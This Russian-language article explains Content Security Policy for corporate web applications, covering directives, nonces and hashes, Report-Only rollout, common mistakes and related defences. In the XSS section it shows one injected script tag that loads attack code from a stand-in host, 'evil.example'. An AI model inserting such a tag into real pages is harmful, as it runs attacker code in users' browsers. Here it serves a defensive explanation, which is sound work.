Content Security Policy (CSP): как защитить веб-приложение от XSS и других атак

Почему одной защиты периметра недостаточно

Корпоративное веб-приложение редко состоит только из HTML-страниц и собственного JavaScript. Оно подключает системы аналитики, шрифты, API, карты, CAPTCHA, платежные сервисы и сторонние библиотеки.

Каждая такая зависимость расширяет поверхность атаки.

При этом межсетевой экран или Web Application Firewall (WAF) работают прежде всего с сетевым трафиком. Они способны блокировать многие опасные запросы. Но браузер пользователя остается отдельной средой выполнения кода.

Если злоумышленник внедрит JavaScript в страницу, последствия могут быть серьезными. Код сможет попытаться получить данные пользователя, изменить интерфейс или выполнить действия от его имени.

Для снижения таких рисков применяют Content Security Policy (CSP) — политику безопасности контента.

Она сообщает браузеру, каким источникам приложение доверяет. Все остальные источники браузер может заблокировать.

CSP не заменяет безопасную разработку, WAF и тестирование. Ее задача другая. Она создает дополнительный барьер на стороне браузера.

За счет этого даже успешная эксплуатация части клиентских уязвимостей может дать атакующему меньше возможностей.

Что такое Content Security Policy

Content Security Policy — политика безопасности контента, которую сервер передает браузеру вместе с веб-страницей.

Обычно для этого используют HTTP-заголовок:

Content-Security-Policy

Внутри него сервер перечисляет правила для разных типов контента.

Например:

Content-Security-Policy: default-src 'self'; script-src 'self'

Такая политика задает два основных правила: по умолчанию поддерживаемые fetch-директивы используют собственный origin как источник, а JavaScript разрешено загружать только с собственного origin приложения.

Если страница попытается подключить скрипт с неизвестного внешнего домена, браузер его заблокирует.

CSP может контролировать:

• JavaScript;
• CSS;
• изображения;
• шрифты;
• iframe;
• сетевые запросы;
• WebSocket-соединения;
• отправку форм;
• embedded-объекты;
• возможность встраивания самого сайта в чужие страницы.

Политику проверяет именно браузер.

Сервер лишь передает набор правил. Дальше браузер сопоставляет каждый ресурс с политикой и решает, разрешить его или заблокировать.

Рис.1 Как работает Content Security Policy

От каких угроз помогает CSP

CSP чаще всего связывают с Cross-Site Scripting. Однако ее возможности шире. Политика также ограничивает загрузку стороннего контента и использование некоторых опасных конструкций.

При этом важно понимать границы технологии.

CSP не исправляет ошибки в коде приложения. Она ограничивает возможные последствия части таких ошибок.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) — класс атак, при котором злоумышленник добивается выполнения своего JavaScript в контексте доверенного сайта.

Причины могут быть разными. Например, приложение неправильно обрабатывает пользовательский ввод или небезопасно вставляет данные в Document Object Model (DOM).

Представим, что атакующему удалось добавить в страницу такой фрагмент:

<script src="https://evil.example/attack.js"></script>

Если политика разрешает JavaScript только с собственного домена, браузер не загрузит файл.

Например:

script-src 'self'

Это не означает, что XSS-уязвимость исчезла. Ошибка все еще находится в приложении.

Но использовать ее для подключения произвольного внешнего JavaScript становится сложнее.

Загрузка вредоносных скриптов

Второй сценарий — попытка подключить скрипт с неразрешенного источника.

Это может произойти после компрометации страницы, ошибки интеграции или внедрения вредоносного кода.

CSP сравнивает источник файла со списком разрешенных адресов.

Если домена нет в script-src, браузер блокирует загрузку.

Такой механизм особенно полезен для приложений, которые работают с ограниченным набором CDN и внешних сервисов.

Подмена или внедрение контента

CSP контролирует не только JavaScript.

Через отдельные директивы можно задать допустимые источники:

• изображений;
• таблиц стилей;
• шрифтов;
• iframe;
• сетевых соединений;
• embedded-объектов.

Это уменьшает число каналов, которыми сможет воспользоваться внедренный код.

Например, можно запретить загрузку изображений с неизвестных серверов или ограничить адреса API.

Clickjacking

Clickjacking строится на подмене визуального контекста. Пользователь видит один интерфейс, но фактически взаимодействует с другим элементом страницы.

Для защиты можно использовать директиву:

frame-ancestors

Например:

frame-ancestors 'none'

Такое правило запрещает встраивать защищаемый ресурс через frame, iframe, object и embed.

Если встраивание требуется определенным системам, в политике можно явно указать разрешенные источники.

Важно учитывать, что frame-ancestors не использует default-src как резервное правило. Кроме того, эту директиву необходимо передавать в HTTP-заголовке CSP: при задании политики через HTML-элемент <meta> браузер ее не применяет.

Как работает CSP

Механизм CSP удобно представить как последовательную проверку.

Сервер → HTTP-заголовок CSP → браузер → проверка ресурса → разрешение или блокировка.

Допустим, приложение использует четыре ресурса:

1. JavaScript с собственного домена.
2. Систему аналитики.
3. Шрифт с корпоративного CDN.
4. JavaScript с неизвестного сайта.

Политика может выглядеть так:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://analytics.example;
  font-src 'self' https://cdn.example;

Браузер загрузит локальный JavaScript.

Скрипт аналитики также пройдет проверку, поскольку его домен явно разрешен.

Шрифт с корпоративного CDN разрешит директива font-src.

А неизвестный внешний JavaScript браузер заблокирует.

Проверка происходит на стороне клиента. Поэтому CSP способна ограничить часть действий даже после того, как опасный код попал в HTML.

Но результат зависит от строгости политики.

Если указать слишком широкие разрешения, браузеру будет почти нечего блокировать.

Поэтому CSP нельзя рассматривать как формальный security header, который достаточно однажды добавить на сервер.

Политика должна отражать реальную архитектуру приложения.

Основные директивы CSP

CSP содержит десятки возможностей, но корпоративному заказчику редко нужен полный справочник.

На практике важнее понимать несколько основных директив.

Обычно основой политики становится default-src, после чего команда задает более точные правила для отдельных типов ресурсов.

Например:

default-src 'self';
img-src 'self' data: https:;

Здесь default-src задает резервный список источников для применимых fetch-директив. Для изображений определено отдельное правило: разрешены собственный origin, схема data: и источники по HTTPS.

Важно учитывать, что default-src не заменяет такие директивы, как frame-ancestors, base-uri и form-action.

Для JavaScript такие широкие разрешения обычно нежелательны.

Скрипты имеют намного больше возможностей, чем изображения. Поэтому правила script-src требуют особого внимания.

Рис. 2 Основные директивы CSP

'self', 'none', домены, nonce и hash

Главная задача CSP — четко описать доверенные источники.

Для этого политика использует несколько типов разрешений.

'self'

Значение:

'self'

означает текущий origin сайта.

Например:

script-src 'self'

разрешает загрузку JavaScript с собственного origin приложения.

Это значительно безопаснее, чем разрешать любые внешние источники.

'none'

Значение:

'none'

полностью запрещает соответствующий тип ресурса.

Один из распространенных вариантов:

object-src 'none'

Если приложение не использует embedded-объекты, разрешать их обычно нет смысла.

Разрешенные домены

CSP позволяет явно указать внешний источник:

script-src 'self' https://cdn.example.com

Такой подход подходит для доверенного CDN.

Но каждый новый разрешенный домен расширяет зону доверия.

Поэтому не стоит добавлять внешние источники «на всякий случай».

Почему 'unsafe-inline' ослабляет CSP

Во многих старых приложениях JavaScript размещен непосредственно внутри HTML.

Например:

<script>
  initApplication();
</script>

Политика, запрещающая выполнение произвольного inline-кода, заблокирует такой скрипт, если он не разрешен другим способом.

Самое простое решение выглядит так:

script-src 'self' 'unsafe-inline'

Но оно заметно снижает защитный эффект.

'unsafe-inline' разрешает выполнение inline-скриптов. Именно такой механизм часто нужен злоумышленнику при XSS.

Поэтому лучше постепенно отказаться от этого разрешения.

Для легитимного inline-кода можно использовать nonce или криптографический hash.

Как работает nonce в CSP

Nonce — уникальное и непредсказуемое значение, которое сервер генерирует для конкретного ответа.

Например:

script-src 'nonce-<BASE64_NONCE>'

То же значение передают разрешенному HTML-элементу:

<script nonce="<BASE64_NONCE>">
  initApplication();
</script>

Браузер сравнивает nonce в политике и в теге <script>. При совпадении скрипт может быть выполнен.

Если злоумышленник добавит другой inline-скрипт без подходящего nonce, браузер его заблокирует.

Критически важно не использовать постоянное или предсказуемое значение. Nonce нужно генерировать заново для каждого соответствующего ответа и создавать с помощью криптографически стойкого генератора случайных чисел.

CSP Level 3 рекомендует использовать для nonce не менее 128 бит случайности до кодирования.

Полученное значение передается одновременно в CSP и разрешенных тегах <script>.

Когда удобно использовать hash

Другой вариант — разрешить конкретный inline-скрипт по его криптографическому хешу.

Схема выглядит примерно так:

script-src 'sha256-...'

Браузер вычисляет hash содержимого скрипта и сравнивает его со значением из политики.

CSP поддерживает hash-источники на основе sha256, sha384 и sha512.

Такой вариант удобен для небольшого статичного кода.

Но любое изменение содержимого меняет hash. Поэтому для часто меняющегося frontend-кода этот способ может быть неудобен.

Nonce обычно лучше подходит для динамических серверных приложений.

Hash может быть полезен для фиксированных фрагментов.

CSP Report-Only: как внедрить политику без остановки сайта

Одна из главных ошибок при внедрении CSP — сразу включить жесткую блокировку.

В корпоративном приложении это рискованно.

Можно случайно отключить аналитику, CAPTCHA, платежную форму или часть пользовательского интерфейса.

Для безопасного запуска предусмотрен режим:

Content-Security-Policy-Report-Only

Команда получает возможность увидеть, что потенциально перестанет работать после включения CSP.

Практический процесс выглядит так:

инвентаризация → Report-Only → анализ → корректировка → тестирование → блокирующий режим.

Сначала специалисты описывают известные источники контента.

Затем формируют достаточно строгую политику и включают Report-Only.

После этого команда анализирует нарушения.

Например, отчеты могут показать неизвестный CDN, старую библиотеку или inline-скрипт.

Не каждое нарушение нужно автоматически добавлять в белый список.

Сначала стоит выяснить его происхождение.

Иногда CSP обнаруживает ненужную зависимость, устаревший код или неожиданную внешнюю интеграцию.

Именно поэтому Report-Only полезен не только как режим тестирования. Он помогает лучше понять устройство frontend-инфраструктуры.

Рис. 3 Схема безопасного внедрения Content Security Policy

Почему CSP сложно внедрить в корпоративном приложении

На простой статической странице CSP можно настроить довольно быстро.

В большой корпоративной системе ситуация другая.

Frontend может зависеть от десятков внешних источников. Причем часть из них меняется без участия команды информационной безопасности.

Типичный набор выглядит так:

• CDN;
• системы веб-аналитики;
• рекламные и маркетинговые платформы;
• CAPTCHA;
• карты;
• видеохостинги;
• службы поддержки;
• платежные сервисы;
• системы идентификации;
• сторонние виджеты;
• динамические API;
• микрофронтенды.

Дополнительную сложность создает legacy-код.

Старые приложения часто содержат много inline-JavaScript и inline-CSS. В них могут использоваться динамические обработчики и устаревшие библиотеки.

Попытка сразу запретить inline-код способна нарушить работу интерфейса.

Есть и организационная проблема.

CSP затрагивает не только команду безопасности. В процессе участвуют разработчики, DevOps, владельцы приложения и специалисты эксплуатации.

Например, маркетинг может подключить новую аналитику. Frontend-команда добавит библиотеку с другого CDN. Архитектор изменит API.

После любого такого изменения политика может устареть.

Поэтому CSP — не разовая настройка. Это часть жизненного цикла веб-приложения.

Строгая или широкая CSP: где находится баланс

Слишком строгая политика может нарушить работу сервиса.

Слишком широкая — создать видимость защиты.

Например:

script-src *

разрешает загрузку JavaScript практически с любого сетевого источника.

Формально script-src присутствует. Но ценность такого ограничения невелика.

Похожая проблема возникает при добавлении большого числа доменов.

Команда иногда реагирует на каждое новое нарушение простым способом: добавляет источник в список разрешенных.

Со временем CSP превращается в длинный набор исключений.

Такой подход опасен.

Каждый доверенный источник нужно рассматривать как часть поверхности атаки.

Хорошая CSP следует принципу минимальных привилегий. Она разрешает только те ресурсы, которые действительно нужны приложению.

Типичные ошибки при настройке CSP

Ошибки CSP часто возникают не из-за сложности синтаксиса, а из-за неверного процесса внедрения.

На практике стоит избегать следующих подходов.

1. Использование script-src *****. Политика почти перестает ограничивать источники JavaScript.
2. Безусловное применение 'unsafe-inline'****. Оно упрощает эксплуатацию части XSS-сценариев.
3. Слишком большой список внешних доменов. Чем шире список доверия, тем слабее контроль.
4. Копирование чужой политики. CSP должна учитывать архитектуру конкретного приложения.
5. Мгновенное включение блокировки. Без Report-Only легко нарушить работу production-системы.
6. Игнорирование отчетов. Сами по себе CSP-нарушения ничего не исправляют.
7. Отсутствие владельца политики. Кто-то должен отвечать за ее актуальность.
8. Отсутствие проверки после релиза. Новая интеграция может потребовать изменения CSP.
9. Попытка лечить CSP саму XSS-уязвимость. Ошибку в приложении все равно нужно исправлять.

Хорошая политика появляется не после одной настройки. Она формируется постепенно.

CSP и другие средства защиты

CSP лучше рассматривать как один слой Defense in Depth — эшелонированной защиты.

Она дополняет другие процессы и средства информационной безопасности.

Secure Coding

Безопасная разработка должна устранять сами причины XSS.

Например, разработчики должны корректно обрабатывать данные и учитывать контекст вывода.

CSP нужна как дополнительный барьер.

SAST и DAST

Static Application Security Testing (SAST) анализирует код или его представление без запуска приложения.

Dynamic Application Security Testing (DAST) проверяет работающий сервис снаружи.

Эти подходы помогают найти уязвимость.

CSP действует уже в браузере и ограничивает последствия части атак.

WAF

Web Application Firewall (WAF) анализирует HTTP-трафик между клиентом и приложением.

Он может блокировать известные паттерны атак.

CSP работает иначе. Она определяет, что браузеру разрешено загрузить и выполнить.

Поэтому WAF и CSP не заменяют друг друга.

SRI

Subresource Integrity (SRI) позволяет браузеру проверить целостность внешнего ресурса по хешу.

Например, приложение может убедиться, что файл с CDN не изменился.

CSP определяет допустимый источник. SRI помогает проверить конкретное содержимое файла.

В некоторых архитектурах эти механизмы разумно использовать вместе.

Другие security headers

CSP входит в более широкий набор HTTP security headers.

Но наличие нескольких заголовков еще не означает надежную защиту.

Настройки должны соответствовать архитектуре приложения и его модели угроз.

Как внедрить CSP в корпоративной инфраструктуре

Для production-системы лучше использовать поэтапный процесс.

Шаг 1. Проведите инвентаризацию

Определите, откуда приложение загружает:

• JavaScript;
• CSS;
• изображения;
• шрифты;
• фреймы;
• данные через API;
• внешние виджеты.

Стоит проверить не только документацию.

Реальное приложение часто содержит больше зависимостей, чем указано в архитектурной схеме.

Шаг 2. Определите базовую политику

Хорошей отправной точкой часто становится подход:

default-src 'self'

После этого команда отдельно описывает необходимые исключения.

На первом этапе важнее создать понятную и управляемую основу, чем сразу пытаться сформировать окончательную конфигурацию.

При этом нужно помнить, что default-src служит fallback только для определенной группы директив и не заменяет, например, frame-ancestors, base-uri или form-action.

Шаг 3. Включите Report-Only

Перед блокировкой проверьте, как браузеры реагируют на политику.

Соберите нарушения в разных пользовательских сценариях.

Обязательно протестируйте авторизацию, формы, поиск, оплату и административные функции.

Шаг 4. Проанализируйте нарушения

Разделите события минимум на три группы:

• легитимный ресурс;
• устаревшая или ненужная зависимость;
• неизвестный источник.

Не стоит автоматически разрешать неизвестные домены.

Шаг 5. Уберите опасный inline-код

По возможности вынесите JavaScript в отдельные файлы.

Если inline-код нужен, рассмотрите nonce или hash.

Так можно отказаться от 'unsafe-inline' для скриптов.

Шаг 6. Проверьте внешние интеграции

Особое внимание стоит уделить:

• аналитике;
• CAPTCHA;
• платежным системам;
• картам;
• CDN;
• системам поддержки;
• identity-провайдерам.

Для каждой интеграции определите минимальный набор нужных разрешений.

Шаг 7. Включите блокирующий режим

После тестирования замените Report-Only на обычный:

Content-Security-Policy

Но не отключайте наблюдение.

После перехода в enforcement-режим новые нарушения также требуют анализа.

Шаг 8. Организуйте регулярный контроль

Пересматривайте CSP после значимых изменений frontend-архитектуры.

Политику стоит включить в процессы релиза, AppSec и управления изменениями.

Рис 4 Content Security Policy в жизненном цикле веб-приложения

Пример CSP для веб-приложения

Рассмотрим условную политику:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-<BASE64_NONCE>';
  style-src 'self';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self' https://api.example.com;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';

Это только пример.

Его нельзя копировать в production без анализа конкретного приложения.

Разберем строки подробнее.

default-src 'self'

Задает резервный список источников для fetch-директив, если для них не определено более точное правило.

Например, при отсутствии отдельного font-src соответствующие запросы могут проверяться по default-src.

При этом default-src не служит fallback для frame-ancestors, base-uri и form-action.

script-src 'self' 'nonce-<BASE64_NONCE>'

Разрешает JavaScript с собственного origin.

Inline-скрипты могут выполняться только при наличии корректного nonce.

<BASE64_NONCE> здесь обозначает условное значение. Сервер должен генерировать новый непредсказуемый nonce для каждого соответствующего ответа.

style-src 'self'

Разрешает CSS только с собственного origin.

Для приложения с внешним CDN здесь потребуется более точная настройка.

img-src 'self' data: https:

Разрешает собственные изображения, data: и изображения через HTTPS.

Такое правило достаточно широкое.

В приложениях с повышенными требованиями список можно сделать строже.

font-src 'self'

Шрифты разрешены только с собственного origin.

Если используется внешний сервис шрифтов, его источник нужно указать отдельно.

connect-src

connect-src 'self' https://api.example.com

Разрешает сетевые соединения с собственным origin и конкретным API.

Эта директива особенно важна для Single Page Application (SPA).

Она может контролировать запросы frontend-кода к API и другим сетевым сервисам.

object-src 'none'

Запрещает embedded-объекты, которые приложение не планирует использовать.

Это хороший пример принципа: ненужную возможность лучше явно отключить.

base-uri 'self'

Ограничивает использование тега <base>.

Это снижает риск некоторых сценариев подмены базового адреса ссылок.

frame-ancestors 'none'

Запрещает встраивать защищаемый ресурс через frame, iframe, object и embed.

Если приложение должно работать внутри доверенной платформы, правило необходимо адаптировать.

frame-ancestors не использует default-src как fallback и должна передаваться в HTTP-заголовке CSP.

Как проверить CSP

Проверять CSP нужно не только перед первым включением.

Контроль должен продолжаться в ходе эксплуатации.

DevTools браузера

Браузер показывает нарушения CSP в инструментах разработчика.

Это удобный способ быстро найти заблокированный скрипт, шрифт или API-запрос.

Особенно полезен DevTools на этапе разработки и тестирования.

Анализ HTTP-заголовков

Нужно убедиться, что сервер действительно отправляет нужную политику.

Стоит проверить:

• production;
• staging;
• разные домены;
• страницы входа;
• личные кабинеты;
• административные разделы.

Иногда CSP добавляет reverse proxy или ingress. В других системах ее формирует само приложение.

Важно знать реальную точку настройки.

CSP reports

Приложение может собирать данные о нарушениях политики.

Такой мониторинг помогает увидеть проблемы, которые сложно воспроизвести вручную.

Например, событие может появляться только у части пользователей или в редком сценарии.

Однако отчеты требуют фильтрации.

В них могут попадать шум, расширения браузеров и другие внешние факторы.

Автоматизированное тестирование

Проверки CSP можно добавить в CI/CD.

Например, тест может подтвердить наличие нужного заголовка после развертывания.

Более сложные проверки могут контролировать отдельные директивы.

Сканирование безопасности

DAST-сканеры и специализированные средства анализа HTTP-заголовков помогают найти слабые настройки.

Но результат сканера нельзя воспринимать как готовую политику.

Инструмент не всегда знает назначение всех внешних интеграций.

CSP должна меняться вместе с приложением

Современный frontend развивается быстро.

Сегодня приложение использует один API. Через месяц появляется новый сервис аналитики. Затем команда меняет CDN.

Если CSP остается прежней, возникает один из двух сценариев.

В первом случае новая функция перестает работать.

Во втором разработчики добавляют слишком широкое исключение, чтобы быстрее выпустить релиз.

Оба варианта нежелательны.

Поэтому изменение CSP стоит включить в процесс управления frontend-зависимостями.

Например, при подключении нового внешнего JavaScript можно заранее ответить на несколько вопросов:

• зачем нужен источник;
• какой тип ресурсов он предоставляет;
• можно ли разместить компонент внутри инфраструктуры компании;
• какие CSP-директивы потребуется изменить;
• кто отвечает за внешнюю зависимость;
• что произойдет при компрометации поставщика.

Так CSP становится не просто заголовком, а частью архитектурного контроля.

Когда бизнесу стоит обратить внимание на CSP

CSP полезна почти любому публичному веб-приложению.

Но особенно важна она там, где клиентская атака может затронуть чувствительные данные или операции.

Интернет-магазины

Frontend магазина работает с профилем пользователя, корзиной и заказами.

Часто присутствуют платежные и аналитические интеграции.

Чем больше внешних компонентов, тем важнее контролировать источники контента.

Банки и финтех

В финансовых сервисах браузер участвует в критичных пользовательских операциях.

Компрометация клиентской части может иметь прямые финансовые последствия.

Здесь CSP должна дополнять строгую разработку и постоянное тестирование.

Личные кабинеты

Личный кабинет обычно содержит персональные данные и историю операций.

XSS в таком интерфейсе может быть намного опаснее, чем на публичной информационной странице.

B2B-порталы

Корпоративные порталы часто предоставляют доступ к договорам, счетам и внутренней информации.

Поэтому безопасность браузерной части нельзя отделять от общей защиты сервиса.

SaaS

Software as a Service (SaaS) обычно обслуживает сразу много организаций.

Одна frontend-уязвимость способна затронуть большое число клиентов.

CSP помогает добавить еще один барьер между ошибкой и успешной атакой.

Государственные информационные системы

Такие системы могут работать с персональными и служебными данными.

Для них CSP полезна как дополнительная мера защиты веб-интерфейсов.

При этом конкретную конфигурацию нужно согласовывать с архитектурой и требованиями проекта.

Как оценивать эффективность CSP

Проверка наличия заголовка — только первый уровень.

Для зрелой оценки полезнее задать другие вопросы.

Запрещает ли политика произвольные источники JavaScript?

Можно ли выполнить inline-скрипт без nonce или hash?

Есть ли ненужные внешние домены?

Ограничено ли встраивание приложения через frame-ancestors?

Запрещены ли ненужные embedded-объекты?

Контролирует ли connect-src реальные frontend-соединения?

Собирает ли команда CSP-нарушения?

Проверяется ли политика после крупных изменений?

Такой подход дает более объективную картину.

Эффективная CSP должна не просто присутствовать в заголовках, а реально ограничивать возможности браузера в соответствии с архитектурой приложения.

CSP как часть AppSec-процесса

Наиболее устойчивый результат получается, когда CSP входит в Application Security (AppSec), а не существует отдельно.

Разработчики учитывают ее при создании frontend-кода.

DevOps поддерживает корректную передачу заголовков.

Специалисты ИБ анализируют нарушения и контролируют уровень разрешений.

Владельцы приложения согласовывают новые внешние зависимости.

Такой процесс помогает избежать двух крайностей.

Первая — CSP существует только ради проверки соответствия.

Вторая — политика настолько строгая, что команды постоянно отключают ее для выпуска изменений.

Рабочий вариант находится между ними.

CSP должна быть достаточно строгой для реальной защиты. При этом ее сопровождение не должно блокировать развитие продукта.

Именно поэтому для крупных систем особенно важны инвентаризация, автоматизация и понятный процесс согласования изменений.

CSP и другие уровни защиты веб-приложения

Заключение

Content Security Policy — полезный механизм защиты клиентской части веб-приложения.

Она позволяет ограничить источники JavaScript, CSS, изображений, шрифтов, фреймов и сетевых соединений.

Главная ценность CSP проявляется при XSS и похожих клиентских сценариях.

Даже если злоумышленник внедрил код в страницу, браузер может запретить его выполнение или загрузку внешнего ресурса.

Но CSP нельзя считать универсальной защитой.

Она не заменяет Secure Coding, SAST, DAST, WAF и устранение найденных уязвимостей.

Максимальную пользу дает строгая политика, которая учитывает реальную архитектуру приложения.

Для корпоративных систем ее лучше внедрять постепенно.

Сначала нужно провести инвентаризацию ресурсов. Затем стоит включить Report-Only, разобрать нарушения и проверить бизнес-сценарии.

После этого CSP можно перевести в блокирующий режим.

На этом работа не заканчивается.

Frontend меняется, появляются новые API и внешние сервисы. Поэтому политику нужно контролировать вместе с другими параметрами безопасности приложения.

FAQ

Защищает ли CSP от XSS полностью?

Нет. CSP снижает риск успешной эксплуатации части XSS-атак, но не устраняет саму уязвимость. Ошибки в коде нужно исправлять отдельно.

Можно ли использовать CSP вместе с WAF?

Да. Эти механизмы работают на разных уровнях. WAF анализирует веб-трафик, а CSP ограничивает действия браузера.

Зачем нужен режим CSP Report-Only?

Он позволяет протестировать политику без реальной блокировки ресурсов. Это особенно полезно перед внедрением CSP в production.

Почему 'unsafe-inline' считается нежелательным?

Это разрешение позволяет выполнять inline-JavaScript. Такое поведение может существенно упростить использование XSS-уязвимости.

Нужно ли менять CSP после запуска?

Да. Политику стоит пересматривать после подключения новых API, CDN, виджетов, аналитики и других frontend-зависимостей.